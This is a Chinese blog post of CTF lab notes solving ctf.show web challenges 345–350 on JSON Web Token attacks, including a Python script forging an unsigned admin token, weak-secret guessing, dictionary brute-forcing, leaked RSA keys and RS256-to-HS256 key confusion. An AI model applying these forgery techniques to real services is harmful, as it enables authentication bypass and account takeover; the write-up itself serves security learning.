ctf_show笔记篇(web入门---jwt)

目录

jwt简介

web345:

web346:

web347:

web348:

web349:

web350:


jwt简介

JSON Web Token(JWT)通常由三部分组成

  1. Header(头部):包含了两部分信息:令牌的类型(即JWT)以及所使用的签名算法(例如HMAC SHA256或RSA)。
  2. Payload(载荷):也称为Claims。包含了要传输的信息,以及其他元数据。Claims分为三种类型:注册的(registered)、公共的(public)和私有的(private)。注册的Claims包括标准化的Claims(例如:iss(签发者)、exp(到期时间)、sub(主题)等),公共的Claims可以自定义,但建议使用预定义的键,私有的Claims则是用户自定义的键值对。
  3. Signature(签名):使用Base64编码的Header和Payload以及一个秘钥(secret)进行加密生成的签名,用于验证消息的完整性以及确认发送者的身份。

简单地说jwt就是一串字符串,类似于序列化这种,把用户的信息保存在字符串里

JWT全称是JSON Web Token,如果从字面上理解感觉是基于JSON格式用于网络传输的令牌。实际上,JWT是一种紧凑的Claims声明格式,旨在用于空间受限的环境进行传输,常见的场景如HTTP授权请求头参数和URI查询参数。JWT会把Claims转换成JSON格式,而这个JSON内容将会应用为JWS结构的有效载荷或者应用为JWE结构的(加密处理后的)原始字符串,通过消息认证码(Message Authentication Code或者简称MAC)和/或者加密操作对Claims进行数字签名或者完整性保护。


总的来说,JWT其实有两种实现,基于JWE实现的依赖于加解密算法、BASE64URL编码和身份认证等手段提高传输的Claims的被破解难度,而基于JWS的实现使用了BASE64URL编码和数字签名的方式对传输的Claims提供了完整性保护,也就是仅仅保证传输的Claims内容不被篡改,但是会暴露明文。目前主流的JWT框架中大部分都没有实现JWE

web345:

这一题没有理解到是什么意思,抓包得到cookie

这个数据并没有签名,只有头部和载荷

{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1712019048,"exp":1712026248,"nbf":1712019048,"sub":"user","jti":"1d066a8d6628e359da77edcd6fb2a7ce"}]

alg表示加密方式,这里并没有,正常情况下是hash256的话应该是这样的

查看源代码能看到有admin页面,但是访问以后重定向回了index页面

把刚才那些数据拿到jwt加密解密网站去

将加密数据改为hs256,即可

访问admin获得flag,猜测这里应该就是因为没有签名所以最开始访问不了

web346:

JWT支持把算法设置为无(none),即alg=none的时候签名就会为空,这时候任何token都是有效的,此设定的功能原本是为了方便开发人员调试,如果开发者不严谨,上线服务以后并没有关闭此功能的话,就会造成使用任何伪造的token登录网站。

这里其实可以不用脚本去做,只是最近在博主在练习写脚本的能力

import jwt
import requests


class Payload(object):
    def __init__(self, url):
        self.url = url
        self.__jwt_dict = {
            "iss": "admin",
            "iat": 1712025870,
            "exp": 1712033070,
            "nbf": 1712025870,
            "sub": "admin",
            "jti": "197a8236998a443b7251012ac9e1497e"
        }
        self.__jwt_header = {
            "alg": "none",
            "typ": "JWT"
        }

    def encode(self):
        jwt_token = jwt.encode(self.__jwt_dict,  # 有效载体
                               '',  # 加密密匙
                               algorithm="none",  # 指明签名算法方式, 默认也是HS256
                               headers=self.__jwt_header
                               )
        cookies = {
            'auth': jwt_token
        }
        return cookies

    def requests(self, jwt_token):
        re = requests.post(url=self.url, cookies=jwt_token)
        print(re.text)


def main():
    url = input('请输入url:')
    a = Payload(url)
    b = a.encode()
    a.requests(b)


if __name__ == '__main__':
    main()

web347:

这个环境说是弱口令,尝试admin,123456,这些啊最终确定为123456

修改对称密匙和sub即可

web348:

这一题还是相同的,通过字典爆破私钥

这里我是用的是jwt_gui是一款图形化的简单爆破工具

Releases · Aiyflowers/JWT_GUI (github.com)

web349:

从备份文件来看存在两个文件并且是rs256加密,从这里来看,这两个应该就是公钥和私钥了。

在网上找什么jwt解密呀就有,将公钥和私钥填进去改,user改为admin

然后post传参将修改好的数据post传参上去

这里得随便写点数据不然发不出去

抓包修改即可

web350:

这一题同样有公钥泄露

简单介绍一下

  • 非对称加密使用一对密钥:公钥和私钥。公钥用于加密数据,私钥用于解密数据;私钥用于签名数据,公钥用于验证签名。常见的非对称加密算法包括RSA、DSA(数字签名算法)和ECC(椭圆曲线密码学)等。

这一题利用到了当可以拿到公钥的时候利用修改alg为HS256将数据修改为对称加密,并且因为我们拿到了公钥,通过这些编码以后上传给服务器,服务器也会判断为对称加密,这时就会都用公钥就能成功实现

还是post传入就能实现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/519986.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LC 222.完全二叉树的节点个数

222. 完全二叉树的节点个数 给你一棵 完全二叉树 的根节点 root ,求出该树的节点个数。 完全二叉树 的定义如下:在完全二叉树中,除了最底层节点可能没填满外,其余每层节点数都达到最大值,并且最下面一层的节点都集中…

软件测试--用例

目录 测试用例的基本要素 测试用例的设计方法--针对黑盒测试(重要) 等价类 边界值 错误猜测法 场景设计法 因果法 判定表法 正交表法 测试用例设计万能公式 使用工具控制网络和测试接口 控制网络(Fiddler) 接口测试&a…

UV胶水能够粘接聚碳酸酯PC吗?

UV胶水能够粘接聚碳酸酯PC吗? 聚碳酸酯PC是一种高性能工程塑料,透明、坚固和耐高温。常用于制造透明零件、光学设备、以及一些耐热和强度要求较高的应用,如:汽车零件、眼镜镜片、电子设备外壳等。 聚碳酸酯PC的化学性质是一种非极…

【c++】初阶模版与STL简单介绍

🔥个人主页:Quitecoder 🔥专栏:c笔记仓 朋友们大家好,本篇文章介绍一下模版和对STL进行简单的介绍,后续我们进入对STL的学习! 目录 模版1.泛型编程2.函数模板2.1函数模板的原理2.2模版的实例化…

力扣面试150: O(1) 时间插入、删除和获取随机元素 HashMap结合数组

Problem: 380. O(1) 时间插入、删除和获取随机元素 文章目录 思路复杂度Code 思路 👩‍🏫 三叶题解 复杂度 时间复杂度: O ( 1 ) O(1) O(1) 空间复杂度: O ( n ) O(n) O(n) Code class RandomizedSet {static int[] nums new int[200_010];//存…

python_3

文章目录 题目运行结果模式A模式B模式C模式D 题目 mode input("请选择模式:") n int(input("请输入数字:"))if mode "A" or mode "a":# 模式A n:输入的层数 i:当前的层数# 每行数字循环次数 ifor i in range(1, n 1):for j in r…

武汉星起航电子商务有限公司,引领跨境电商新潮流的卓越引擎

在全球经济不断演进的今天,跨境电商作为国际贸易的新引擎,正逐渐崭露头角。在这场全球商业的变革中,武汉星起航电子商务有限公司以其丰富的实战运营经验和专业的团队,成为了这个领域的佼佼者。 自2017年以来,武汉星起…

移动Web学习04-移动端订单结算页PC端个人中心页面

5、电商结算页面案例 css body{background-color: #F2F2F2; } * {box-sizing: border-box;margin: 0;padding: 0; }.main{padding: 12px 11px 80px; }.pay{display: flex;height: 80px;background-color: #fff;bottom: 0;width: 100%;border-top: 1px solid #ededed;position:…

某虚假交友APP(信息窃取)逆向分析

应用初探 在群里水群的时候 群u发了一个交友APP 于是拿来分析一下 可以看到应用打开后又一个登录的界面 需要用户输入手机号与验证码进行登录 #在线云沙箱分析 将APK放入某安信云沙箱中分析 提示应用请求了过多的敏感权限 逆向分析 直接拖入Jadx分析 好在程序没有加固 也没…

vulnhub靶机: DC-9

dc-9靶机下载 将靶机设置为NAT模式,本次实验使用的内网网段为192.168.198.0/24,kali的ip为192.168.198.172 信息搜集 ip主机扫描: nmap -sP 192.168.198.0/24 确定靶机ip为192.168.198.171 主机端口扫描: nmap -T4 -A -v 192…

进程并发究竟是如何进行进程切换的?Linux内核原理解析

进程并发究竟是如何进行进程切换的?Linux内核原理解析 一、并发二、进程切换原理三、活跃进程、过期进程3.1分时操作系统、实时操作系统3.2 运行队列queue[140]3. 3 操作系统如何查找非空进程 一、并发 在一定时间内,多个进程在一个CPU中采用进程切换的方…

Memcached 教程之 PHP 连接 Memcached 服务(十)

PHP 连接 Memcached 服务 在前面章节中我们已经介绍了如何安装 Memcached 服务,接下来我们为大家介绍 PHP 如何使用 Memcached 服务。 PHP Memcache 扩展安装 PHP Memcache 扩展包下载地址:PECL :: Package :: memcache,你可以下载最新稳定…

商业开源MES+源码+可拖拽式数据大屏

商业开源的一套超有价值的JAVA制造执行MES系统源码 带本地部署搭建教程 教你如何在本地运行运行起来。 开发环境:jdk11tomcatmysql8springbootmaven 需要源码,私信我付费获取。 一、系统概述: 万界星空科技免费试用MES、开源MES、商业开…

OpenGL_Learn19(混合)

OpenGL中,混合(Blending)通常是实现物体透明度(Transparency)的一种技术。透明就是说一个物体(或者其中的一部分)不是纯色(Solid Color)的,它的颜色是物体本身的颜色和它背后其它物体的颜色的不同强度结合。一个有色玻璃窗是一个透…

java算法day45 | 动态规划part07 ● 70. 爬楼梯 (进阶) ● 322. 零钱兑换 ● 279.完全平方数

70. 爬楼梯 &#xff08;进阶&#xff09; 题目描述&#xff1a; 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬至多m (1 < m < n)个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 注意&#xff1a;给定 n 是一个正整数。 输入描述&#xff1a;输入…

【JavaSE】注解

概念解释 注解与注释 注释&#xff1a;用文字描述程序的,是给程序员看的。 注解&#xff1a;用来解释说明程序的&#xff0c;是给计算机看的。 百度百科定义&#xff1a; 注解&#xff08;Annotation&#xff09;&#xff0c;也叫元数据。一种代码级别的说明。它是JDK1.5及…

FPGA常用IP核之FIFO学习

IP核是FPGA芯片公司提供的逻辑功能块&#xff0c;在FPGA芯片中可以进行优化和预先配置&#xff0c;可以直接在用户设计的程序中使用&#xff0c;应用范围很广。在FPGA设计开发过程中使用IP核&#xff0c;可以大大的缩短开发周期&#xff0c;高度优化的IP核可以使FPG开发工程师专…

8核32G云服务器幻兽帕鲁多人联机主机价格94元/月、1362元一年

8核32G云服务器京东云轻量云主机价格94元1个月、282元3个月、673元6个月、1362元一年&#xff0c;配置8C32G-100G SSD系统盘-10M带宽-2000G月流量 华北-北京&#xff0c;京东云优惠活动 yunfuwuqiba.com/go/jd 活动链接打开如下图&#xff1a; 8核32G云服务器京东云轻量云主机价…

损失函数篇 | YOLOv8更换损失函数之MPDIoU(23年7月首发论文)

前言:Hello大家好,我是小哥谈。损失函数是机器学习中用来衡量模型预测值与真实值之间差异的函数。在训练模型时,我们希望通过不断调整模型参数,使得损失函数的值最小化,从而使得模型的预测值更加接近真实值。不同的损失函数适用于不同的问题,例如均方误差损失函数适用于回…

Codeforces Round 931 (Div. 2) D1. XOR Break — Solo Version

题目 思路&#xff1a; #include <bits/stdc.h> using namespace std; #define int long long #define pb push_back #define fi first #define se second #define lson p << 1 #define rson p << 1 | 1 const int maxn 1e6 5, inf 1e18, maxm 4e4 5; c…